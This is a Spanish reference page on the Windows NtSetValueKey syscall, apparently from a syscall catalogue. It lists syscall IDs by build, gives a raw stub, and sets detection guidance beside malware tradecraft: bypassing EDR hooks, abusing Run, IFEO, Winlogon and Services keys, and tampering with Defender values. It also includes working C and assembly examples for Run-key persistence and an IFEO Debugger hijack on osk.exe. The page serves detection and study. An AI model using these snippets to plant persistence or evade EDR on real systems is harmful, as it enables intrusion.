> Windows Syscalls
ntoskrnl.exeT1547.001T1546.012T1112

NtSetValueKey

Escribe un valor nombrado en una clave de registro abierta — pilar de las persistencias Run y IFEO.

Prototipo

NTSTATUS NtSetValueKey(
  HANDLE          KeyHandle,
  PUNICODE_STRING ValueName,
  ULONG           TitleIndex,
  ULONG           Type,
  PVOID           Data,
  ULONG           DataSize
);

Argumentos

NameTypeDirDescription
KeyHandleHANDLEinHandle a una clave abierta vía NtOpenKey/NtCreateKey con acceso KEY_SET_VALUE.
ValueNamePUNICODE_STRINGinNombre del valor a establecer. NULL o cadena vacía apunta al valor predeterminado.
TitleIndexULONGinReservado. Debe ser cero.
TypeULONGinTipo de valor: REG_SZ, REG_EXPAND_SZ, REG_DWORD, REG_BINARY, REG_MULTI_SZ, etc.
DataPVOIDinPuntero al búfer de datos a escribir.
DataSizeULONGinTamaño del búfer en bytes (incluir el NUL final para REG_SZ).

IDs de syscalls por versión de Windows

Versión de WindowsID de syscallBuild
Win10 15070x60win10-1507
Win10 16070x60win10-1607
Win10 17030x60win10-1703
Win10 17090x60win10-1709
Win10 18030x60win10-1803
Win10 18090x60win10-1809
Win10 19030x60win10-1903
Win10 19090x60win10-1909
Win10 20040x60win10-2004
Win10 20H20x60win10-20h2
Win10 21H10x60win10-21h1
Win10 21H20x60win10-21h2
Win10 22H20x60win10-22h2
Win11 21H20x60win11-21h2
Win11 22H20x60win11-22h2
Win11 23H20x60win11-23h2
Win11 24H20x60win11-24h2
Server 20160x60winserver-2016
Server 20190x60winserver-2019
Server 20220x60winserver-2022
Server 20250x60winserver-2025

Módulo del kernel

ntoskrnl.exeNtSetValueKey

APIs relacionadas

RegSetValueExWRegSetKeyValueWNtCreateKeyNtOpenKeyNtQueryValueKeyNtDeleteValueKey

Stub del syscall

4C 8B D1            mov r10, rcx
B8 60 00 00 00      mov eax, 0x60
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notas no documentadas

Estable en `0x60` desde Windows 7 hasta Win11 24H2. Combinar con NtCreateKey/NtOpenKey para escribir valores sin pasar por advapi32, donde residen la mayoría de hooks de usuario de los EDR. El kernel encamina la llamada vía CmSetValueKey → CmpSetValueKeyNew/Existing; los flush del hive son diferidos (CmpLazyFlushHiveList), de modo que un valor recién escrito puede no llegar a disco hasta varios segundos después — útil para actores que corren contra la detección.

Uso común por malware

El lado de ejecución de la persistencia en registro. Una vez abierta una subclave de autostart, NtSetValueKey escribe el comando de lanzamiento: - `Run` / `RunOnce`: un REG_SZ apuntando al implante. - `Image File Execution Options\<víctima.exe>` → `Debugger` REG_SZ → binario atacante (T1546.012). - `Winlogon\Userinit` / `Winlogon\Shell` extendidos con el payload. - `Services\<nombre>\ImagePath` para secuestro de servicio. - `AppInit_DLLs` para inyectarse en todo proceso que enlace user32.dll. Los llamadores por syscall directa también lo usan para alterar valores de seguridad (DisableAntiSpyware, AntiSpywareEnabled, SubmitSamplesConsent) si están elevados.

Oportunidades de detección

ETW Microsoft-Windows-Kernel-Registry emite `EventSetValueKey` (Opcode 11) con la ruta de clave, nombre de valor, tipo y longitud — esencial para alertas de alta fidelidad sobre escrituras autostart e IFEO. Sysmon Event ID 13 (RegistryEvent: Set value) y Event ID 14 (Key/Value rename) cubren endpoints sin EDR. Alertas prioritarias: cualquier escritura bajo `*\CurrentVersion\Run*`, `*\Image File Execution Options\*\Debugger`, `*\Winlogon\(Userinit|Shell|AppInit_DLLs)`, y cualquier cambio en exclusiones de Defender o `SubmitSamplesConsent`. Correlacione con telemetría de carga de imágenes para capturar el proceso resultante en el siguiente inicio de sesión.

Ejemplos de syscalls directos

cWrite a Run-key persistence entry

// Drop HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater = C:\PD\impl.exe
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"Updater");

WCHAR data[] = L"C:\\ProgramData\\impl.exe";
NTSTATUS s = NtSetValueKey(
    hRunKey,                  // from NtCreateKey/NtOpenKey
    &name,
    0,                        // TitleIndex
    REG_SZ,
    data,
    (ULONG)((wcslen(data) + 1) * sizeof(WCHAR)));

asmDirect stub (SSN 0x60)

NtSetValueKey PROC
    mov  r10, rcx
    mov  eax, 60h
    syscall
    ret
NtSetValueKey ENDP

cIFEO Debugger hijack (T1546.012)

// HKLM\Software\Microsoft\Windows NT\CurrentVersion\
//   Image File Execution Options\osk.exe!Debugger = cmd.exe
// Triggers when On-Screen Keyboard is launched (incl. Sticky Keys at logon).
UNICODE_STRING debuggerName;
RtlInitUnicodeString(&debuggerName, L"Debugger");
WCHAR debugger[] = L"C:\\Windows\\System32\\cmd.exe";

NtSetValueKey(hIfeoOskKey, &debuggerName, 0, REG_SZ,
              debugger,
              (ULONG)((wcslen(debugger) + 1) * sizeof(WCHAR)));

Mapeos MITRE ATT&CK

Last verified: 2026-05-20